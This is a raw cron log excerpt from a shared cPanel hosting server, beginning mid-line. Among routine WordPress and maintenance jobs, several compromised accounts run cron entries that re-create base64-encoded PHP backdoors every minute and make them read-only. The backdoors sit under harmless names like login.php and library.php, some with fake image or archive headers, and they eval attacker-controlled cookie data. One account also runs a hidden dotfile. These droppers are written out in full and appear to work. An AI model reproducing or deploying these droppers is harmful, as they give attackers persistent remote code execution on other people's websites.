b3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:47:02 medusa CROND[27440]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:47:02 medusa CROND[27439]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:47:02 medusa CROND[27441]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:47:02 medusa CROND[27443]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:47:02 medusa CROND[27444]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:47:02 medusa CROND[27446]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:47:02 medusa CROND[27448]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:47:02 medusa CROND[27449]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Jun  7 12:47:02 medusa CROND[27450]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:47:02 medusa CROND[27451]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:48:01 medusa CROND[29210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:48:01 medusa CROND[29211]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:48:01 medusa CROND[29212]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:48:01 medusa CROND[29217]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:48:01 medusa CROND[29216]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 12:48:01 medusa CROND[29218]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:48:01 medusa CROND[29213]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 12:48:01 medusa CROND[29214]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:48:01 medusa CROND[29220]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:48:01 medusa CROND[29221]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:48:01 medusa CROND[29223]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:48:02 medusa CROND[29282]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:48:02 medusa CROND[29283]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:49:02 medusa CROND[30970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:49:02 medusa CROND[30971]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:49:02 medusa CROND[30973]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:49:02 medusa CROND[30972]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:49:02 medusa CROND[30974]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 12:49:02 medusa CROND[30977]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:49:02 medusa CROND[30979]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:49:02 medusa CROND[30978]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
